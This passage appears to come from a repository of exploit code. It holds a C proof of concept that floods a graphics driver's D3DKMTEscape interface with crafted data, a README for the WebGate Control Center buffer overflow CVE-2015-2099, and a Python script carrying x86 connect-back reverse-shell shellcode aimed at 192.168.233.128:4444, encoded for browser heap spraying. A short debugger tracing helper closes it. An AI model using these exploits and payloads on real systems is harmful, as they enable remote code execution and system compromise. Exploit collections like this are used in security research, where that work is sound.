D3DDDI_PATCHLOCATIONLIST; 49 | 50 | typedef struct _D3DKMT_CREATEDEVICEFLAGS { 51 | UINT LegacyMode : 1; 52 | UINT RequestVSync : 1; 53 | #if (DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WIN8) 54 | UINT DisableGpuTimeout : 1; 55 | UINT Reserved : 29; 56 | #else 57 | UINT Reserved : 30; 58 | #endif 59 | } D3DKMT_CREATEDEVICEFLAGS; 60 | 61 | typedef struct _D3DKMT_CREATEDEVICE { 62 | union { 63 | D3DKMT_HANDLE hAdapter; 64 | VOID *pAdapter; 65 | }; 66 | D3DKMT_CREATEDEVICEFLAGS Flags; 67 | D3DKMT_HANDLE hDevice; 68 | VOID *pCommandBuffer; 69 | UINT CommandBufferSize; 70 | D3DDDI_ALLOCATIONLIST *pAllocationList; 71 | UINT AllocationListSize; 72 | D3DDDI_PATCHLOCATIONLIST *pPatchLocationList; 73 | UINT PatchLocationListSize; 74 | } D3DKMT_CREATEDEVICE; 75 | 76 | typedef struct _D3DKMT_OPENADAPTERFROMHDC { 77 | HDC hDc; 78 | D3DKMT_HANDLE hAdapter; 79 | LUID AdapterLuid; 80 | D3DDDI_VIDEO_PRESENT_SOURCE_ID VidPnSourceId; 81 | } D3DKMT_OPENADAPTERFROMHDC; 82 | 83 | typedef struct _D3DDDI_CREATECONTEXTFLAGS { 84 | union { 85 | struct { 86 | UINT NullRendering : 1; 87 | UINT InitialData : 1; 88 | UINT Reserved : 30; 89 | }; 90 | UINT Value; 91 | }; 92 | } D3DDDI_CREATECONTEXTFLAGS; 93 | 94 | 95 | typedef enum _D3DKMT_CLIENTHINT 96 | { 97 | D3DKMT_CLIENTHINT_UNKNOWN = 0, 98 | D3DKMT_CLIENTHINT_OPENGL = 1, 99 | D3DKMT_CLIENTHINT_CDD = 2, // Internal ;internal 100 | D3DKMT_CLIENTHINT_DX7 = 7, 101 | D3DKMT_CLIENTHINT_DX8 = 8, 102 | D3DKMT_CLIENTHINT_DX9 = 9, 103 | D3DKMT_CLIENTHINT_DX10 = 10, 104 | } D3DKMT_CLIENTHINT; 105 | 106 | typedef struct _D3DKMT_CREATECONTEXT { 107 | D3DKMT_HANDLE hDevice; 108 | UINT NodeOrdinal; 109 | UINT EngineAffinity; 110 | D3DDDI_CREATECONTEXTFLAGS Flags; 111 | VOID *pPrivateDriverData; 112 | UINT PrivateDriverDataSize; 113 | D3DKMT_CLIENTHINT ClientHint; 114 | D3DKMT_HANDLE hContext; 115 | VOID *pCommandBuffer; 116 | UINT CommandBufferSize; 117 | D3DDDI_ALLOCATIONLIST *pAllocationList; 118 | UINT AllocationListSize; 119 | D3DDDI_PATCHLOCATIONLIST *pPatchLocationList; 120 | UINT PatchLocationListSize; 121 | VOID *CommandBuffer; 122 | } D3DKMT_CREATECONTEXT; 123 | 124 | 125 | typedef enum _D3DKMT_ESCAPETYPE 126 | { 127 | D3DKMT_ESCAPE_DRIVERPRIVATE = 0, 128 | D3DKMT_ESCAPE_VIDMM = 1, 129 | D3DKMT_ESCAPE_TDRDBGCTRL = 2, 130 | D3DKMT_ESCAPE_VIDSCH = 3, 131 | D3DKMT_ESCAPE_DEVICE = 4, 132 | D3DKMT_ESCAPE_DMM = 5, 133 | D3DKMT_ESCAPE_DEBUG_SNAPSHOT = 6, 134 | D3DKMT_ESCAPE_SETDRIVERUPDATESTATUS = 7 135 | } D3DKMT_ESCAPETYPE; 136 | 137 | typedef struct _D3DDDI_ESCAPEFLAGS { 138 | union { 139 | struct { 140 | UINT HardwareAccess : 1; 141 | #if ((DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WDDM1_3) || \ 142 | (D3D_UMD_INTERFACE_VERSION >= D3D_UMD_INTERFACE_VERSION_WDDM1_3)) 143 | 144 | UINT DeviceStatusQuery : 1; 145 | UINT ChangeFrameLatency : 1; 146 | UINT Reserved : 29; 147 | #else 148 | UINT Reserved : 31; 149 | #endif 150 | }; 151 | UINT Value; 152 | }; 153 | } D3DDDI_ESCAPEFLAGS; 154 | 155 | typedef struct _D3DKMT_ESCAPE { 156 | D3DKMT_HANDLE hAdapter; 157 | D3DKMT_HANDLE hDevice; 158 | D3DKMT_ESCAPETYPE Type; 159 | D3DDDI_ESCAPEFLAGS Flags; 160 | VOID *pPrivateDriverData; 161 | UINT PrivateDriverDataSize; 162 | D3DKMT_HANDLE hContext; 163 | } D3DKMT_ESCAPE; 164 | 165 | 166 | typedef NTSTATUS(NTAPI *_D3DKMTOpenAdapterFromHdc) 167 | ( 168 | D3DKMT_OPENADAPTERFROMHDC *pData 169 | ); 170 | 171 | typedef NTSTATUS(NTAPI *_D3DKMTEscape) 172 | ( 173 | D3DKMT_ESCAPE *pData 174 | ); 175 | 176 | typedef NTSTATUS(NTAPI *_D3DKMTCreateDevice) 177 | ( 178 | D3DKMT_CREATEDEVICE *pData 179 | ); 180 | 181 | typedef NTSTATUS(NTAPI *_D3DKMTCreateContext) 182 | ( 183 | D3DKMT_CREATECONTEXT *pData 184 | ); 185 | 186 | 187 | HMODULE hModuleGdi32 = NULL; 188 | _D3DKMTOpenAdapterFromHdc D3DKMTOpenAdapterFromHdc = NULL; 189 | _D3DKMTEscape D3DKMTEscape = NULL; 190 | _D3DKMTCreateDevice D3DKMTCreateDevice = NULL; 191 | _D3DKMTCreateContext D3DKMTCreateContext = NULL; 192 | 193 | typedef struct _DRIVER_INFO { 194 | HDC hDC; 195 | D3DKMT_HANDLE hAdapter; 196 | D3DKMT_CREATEDEVICE device; 197 | D3DKMT_CREATECONTEXT context; 198 | } DRIVER_INFO, *PDRIVER_INFO; 199 | 200 | 201 | void show_display_devices(void) 202 | { 203 | int display_number = 0; 204 | PDISPLAY_DEVICEA pDisplayDevice = (PDISPLAY_DEVICEA)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DISPLAY_DEVICEA)); 205 | pDisplayDevice->cb = sizeof(DISPLAY_DEVICEA); 206 | while (EnumDisplayDevicesA(NULL, display_number, pDisplayDevice, EDD_GET_DEVICE_INTERFACE_NAME)) 207 | { 208 | printf("DeviceName: %s\n", pDisplayDevice->DeviceName); 209 | printf("DeviceString: %s\n", pDisplayDevice->DeviceString); 210 | memset(pDisplayDevice, 0x00, sizeof(DISPLAY_DEVICEA)); 211 | pDisplayDevice->cb = sizeof(DISPLAY_DEVICEA); 212 | display_number++; 213 | } 214 | HeapFree(GetProcessHeap(), 0, pDisplayDevice); 215 | } 216 | 217 | void resolve_functions(void) 218 | { 219 | hModuleGdi32 = LoadLibraryA("gdi32.dll"); 220 | D3DKMTOpenAdapterFromHdc = (_D3DKMTOpenAdapterFromHdc)GetProcAddress(hModuleGdi32, "D3DKMTOpenAdapterFromHdc"); 221 | D3DKMTCreateDevice = (_D3DKMTCreateDevice)GetProcAddress(hModuleGdi32, "D3DKMTCreateDevice"); 222 | D3DKMTCreateContext = (_D3DKMTCreateContext)GetProcAddress(hModuleGdi32, "D3DKMTCreateContext"); 223 | D3DKMTEscape = (_D3DKMTEscape)GetProcAddress(hModuleGdi32, "D3DKMTEscape"); 224 | } 225 | 226 | 227 | NTSTATUS initDriver(PDRIVER_INFO pDriverInfo) 228 | { 229 | int iDispIndex = 0; 230 | D3DKMT_OPENADAPTERFROMHDC oafh; 231 | HDC hdc = NULL; 232 | DISPLAY_DEVICEA dd; 233 | NTSTATUS status = E_FAIL; 234 | int i; 235 | 236 | memset(&dd, 0, sizeof(dd)); 237 | dd.cb = sizeof(dd); 238 | 239 | for (i = 0; EnumDisplayDevicesA(NULL, i, &dd, 0); ++i) { 240 | if (dd.StateFlags & DISPLAY_DEVICE_PRIMARY_DEVICE) { 241 | break; 242 | } 243 | } 244 | 245 | hdc = CreateDCA(NULL, dd.DeviceName, NULL, NULL); 246 | 247 | if (hdc == NULL) { 248 | printf("Failed to CreateDC"); 249 | return E_FAIL; 250 | } 251 | pDriverInfo->hDC = hdc; 252 | 253 | // Get adapter from hDC 254 | oafh.hDc = pDriverInfo->hDC; 255 | status = D3DKMTOpenAdapterFromHdc(&oafh); 256 | 257 | if (!NT_SUCCESS(status)) { 258 | printf("OpenAdapterFromHdc failed (%x)", status); 259 | return status; 260 | } 261 | pDriverInfo->hAdapter = oafh.hAdapter; 262 | 263 | // Create device 264 | pDriverInfo->device.hAdapter = pDriverInfo->hAdapter; 265 | status = D3DKMTCreateDevice(&pDriverInfo->device); 266 | 267 | if (!NT_SUCCESS(status)) { 268 | printf("Failed to create device (%x)", status); 269 | return status; 270 | } 271 | 272 | // Create context 273 | pDriverInfo->context.NodeOrdinal = 0; 274 | pDriverInfo->context.hDevice = pDriverInfo->device.hDevice; 275 | status = D3DKMTCreateContext(&pDriverInfo->context); 276 | 277 | if (!NT_SUCCESS(status)) { 278 | printf("Failed to create context (%x)", status); 279 | return status; 280 | } 281 | 282 | return S_OK; 283 | } 284 | 285 | 286 | int main() 287 | { 288 | DRIVER_INFO driverInfo = { 0 }; 289 | D3DKMT_ESCAPE escapeObj = { 0 }; 290 | int status; 291 | 292 | resolve_functions(); 293 | initDriver(&driverInfo); 294 | 295 | if (!NT_SUCCESS(initDriver(&driverInfo))) { 296 | printf("Could not initialize connection to driver"); 297 | return -1; 298 | } 299 | printf("Initialized driver\n"); 300 | 301 | escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE; 302 | escapeObj.hAdapter = driverInfo.hAdapter; 303 | escapeObj.hDevice = (D3DKMT_HANDLE)NULL; 304 | 305 | unsigned short escape_size = 0x12C; 306 | 307 | PVOID memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, escape_size); 308 | /* 309 | 95244b0c 00000001 00000124 00020000 00000018 310 | 95244b1c 00000100 00000000 00000000 00000000 311 | */ 312 | *(void **)((char *)memory + sizeof(void *) * 0) = (void *)0x01; 313 | *(void **)((char *)memory + sizeof(void *) * 1) = (void *)(escape_size - 0x08); 314 | *(void **)((char *)memory + sizeof(void *) * 2) = (void *)0x20000; 315 | *(void **)((char *)memory + sizeof(void *) * 3) = (void *)0x18; 316 | *(void **)((char *)memory + sizeof(void *) * 4) = (void *)0x100; 317 | 318 | HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, TEXT("DevilEvent")); 319 | *(void **)((char *)memory + sizeof(void *) * 7) = (void *)hEvent; 320 | *(void **)((char *)memory + sizeof(void *) * 8) = (void *)0x42424242; 321 | 322 | 323 | escapeObj.pPrivateDriverData = memory; 324 | escapeObj.PrivateDriverDataSize = escape_size; 325 | for(int i=0; i<2147483647; i++) 326 | status = D3DKMTEscape(&escapeObj); 327 | 328 | if (!NT_SUCCESS(status)) { 329 | printf("D3DKMTEscape failed (%x)", status); 330 | } 331 | 332 | 333 | CloseHandle(hEvent); 334 | HeapFree(GetProcessHeap(), 0, memory); 335 | 336 | printf("done\n"); 337 | 338 | 339 | return 0; 340 | } 341 | 342 | -------------------------------------------------------------------------------- /WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/README.md: -------------------------------------------------------------------------------- 1 | # WebGate Control Center FileConverter.FileConverterCtrl.1 GetRecFileInfo Stack and Heap Buffer Overflow Remote Code Execution Vulnerabilities 2 | 3 | * CVE-2015-2099 4 | * Reported by rgod 5 | 6 | This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WebGate Control Center. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. 7 | 8 | The specific flaw exists within the FileConverter.FileConverterCtrl.1 control. The GetRecFileInfo method copies arbitrary data into fixed-size buffers on both the heap and stack. This would allow an attacker to execute arbitrary code in the context of the browser. 9 | 10 | * More info at: http://www.zerodayinitiative.com/advisories/ZDI-15-055/ -------------------------------------------------------------------------------- /WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/WebGate_Control_Center_FileConverter_GetRecFileInfo_Stack_and_Heap_Overflow_Remote_Code_Execution_Exploit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 219 | 220 | 221 | 234 | 235 | 257 | 258 | -------------------------------------------------------------------------------- /WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/unescapeShellcodeEncoder.py: -------------------------------------------------------------------------------- 1 | def Shellcode(): 2 | import socket, struct 3 | NOPS = "\x90" * 100 4 | packedIP = socket.inet_aton("192.168.233.128") 5 | packedPort = struct.pack(">H", 4444) 6 | # Connect back TCP Shellcode x86 7 | # by n3k :) 8 | # CreateProcess + ExitProcess 9 | # - Tested on Win7, Win2008 R2 10 | buff = "" 11 | buff += "\xEB\x78\x56\x33\xC0\x64\x8B\x40\x30\x3E\x8B\x40\x0C\x3E\x8B\x70\x0C" 12 | buff += "\xAD\x33\xDB\x3E\x8B\x04\x18\x3E\x8B\x40\x18\x5E\xC3\x60\x36\x8B\x6C" 13 | buff += "\x24\x24\x36\x8B\x7D\x3C\x36\x8B\x7C\x3D\x78\x03\xFD\x3E\x8B\x4F\x18" 14 | buff += "\x3E\x8B\x5F\x20\x03\xDD\x85\xC9\x74\x3B\x49\x3E\x8B\x34\x8B\x03\xF5" 15 | buff += "\x33\xD2\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4" 16 | buff += "\x36\x3B\x54\x24\x28\x75\xDD\x3E\x8B\x57\x24\x03\xD5\x66\x3E\x8B\x0C" 17 | buff += "\x4A\x3E\x8B\x57\x1C\x03\xD5\x3E\x8B\x04\x8A\x03\xC5\x36\x89\x44\x24" 18 | buff += "\x1C\x61\xC3\xEB\x02\xEB\x1D\xE8\xF9\xFF\xFF\xFF\x8E\x4E\x0E\xEC\x7E" 19 | buff += "\xD8\xE2\x73\x72\xFE\xB3\x16\xD9\x09\xF5\xAD\xEC\xF9\xAA\x60\xCB\xED" 20 | buff += "\xFC\x3B\x5E\x33\xC0\xB0\x30\x2B\xE0\x8B\xEC\xE8\x59\xFF\xFF\xFF\x8B" 21 | buff += "\xD8\x33\xC9\xB1\x03\x8B\xD5\x85\xC9\x74\x1E\xAD\x50\x53\xE8\x61\xFF" 22 | buff += "\xFF\xFF\x51\xC1\xE1\x02\x3E\x8D\x1C\x0A\x3E\x89\x03\x59\x5B\x33\xC0" 23 | buff += "\xB0\x04\x03\xE0\x49\xEB\xDE\x33\xC0\x66\xB8\x6C\x6C\x50\x68\x33\x32" 24 | buff += "\x2E\x64\x68\x77\x73\x32\x5F\x54\x36\xFF\x55\x0C\x8B\xD8\x36\x8D\x55" 25 | buff += "\x0C\x33\xC9\xB1\x03\x85\xC9\x74\x1E\xAD\x50\x53\xE8\x1F\xFF\xFF\xFF" 26 | buff += "\x51\xC1\xE1\x02\x3E\x8D\x1C\x0A\x3E\x89\x03\x59\x5B\x33\xC0\xB0\x04" 27 | buff += "\x03\xE0\x49\xEB\xDE\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x36\x89\x65" 28 | buff += "\x2C\x33\xC0\xB4\x02\x2B\xE0\x54\xC1\xE8\x08\x50\x36\xFF\x55\x10\x33" 29 | buff += "\xC0\x50\x50\x50\x50\x40\x50\x40\x50\x36\xFF\x55\x18\x8B\xF0\x68" 30 | buff += packedIP 31 | buff += "\xBB\x02\x01" 32 | buff += packedPort 33 | buff += "\xFE\xCF\x53\x8B\xDC\x33\xC0\xB0\x10\x50\x53\x56" 34 | buff += "\x36\xFF\x55\x14\x33\xC9\xB1\x54\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA" 35 | buff += "\x5F\x3E\xC6\x07\x44\x3E\xC6\x47\x2D\x01\x57\x8B\xC6\x3E\x8D\x7F\x38" 36 | buff += "\xAB\xAB\xAB\x5F\x33\xC0\x3E\x8D\x77\x44\x56\x57\x50\x50\xB0\x80\xC1" 37 | buff += "\xE0\x14\x50\x33\xC0\xB0\x01\x50\x48\x50\x50\x36\xFF\x75\x2C\x50\x36" 38 | buff += "\xFF\x55\x04\x36\xFF\x55\x08" 39 | 40 | shellcode = NOPS + buff 41 | print "Shellcode length: ", len(shellcode) 42 | 43 | return shellcode 44 | 45 | def encodeUnescape(shellcode): 46 | format_string = [] 47 | for i in xrange(0,len(shellcode),2): 48 | format_string.append("%u{:02x}{:02x}".format(ord(shellcode[i+1]),ord(shellcode[i]))) 49 | print "unescape(\"%s\");" % "".join([_ for _ in format_string]) 50 | 51 | 52 | def pastableForm(shellcode): 53 | format_string = [] 54 | for i in shellcode: 55 | format_string.append("\\x{:02x}".format(ord(i))) 56 | print "%s" % "".join([_ for _ in format_string]) 57 | 58 | def FourByteAlignment(shellcode): 59 | while len(shellcode)%4 != 0: 60 | shellcode = "\x90" + shellcode 61 | return shellcode 62 | 63 | encodeUnescape(FourByteAlignment(Shellcode())) -------------------------------------------------------------------------------- /simple_trace.py: -------------------------------------------------------------------------------- 1 | # Paste this on PyKD console after setting hitting a Breakpoint on a Known Function :) 2 | 3 | with open(r"c:\temp.txt", "wt") as f: 4 | num_call = 200 5 | space = 2 6 | while num_call > 0: 7 | disasm_line = pykd.disasm().disasm() 8 | instruction = disasm_line.split()[2] 9 | if instruction == "call": 10 | r = dbgCommand("r") 11 | print r.split("\n")[3] 12 | num_call = num_call - 1 13 | space += 2 14 | try: 15 | f.write("%s%s -- %s\n" % (space * " ", disasm_line,r.split("\n")[3])) 16 | except UnicodeEncodeError: 17 | f.write("%s%s\n" % (space * " ", r.split("\n")[3])) 18 | trace() 19 | else: 20 | if instruction == "ret": 21 | space -= 2 22 | trace() 23 | --------------------------------------------------------------------------------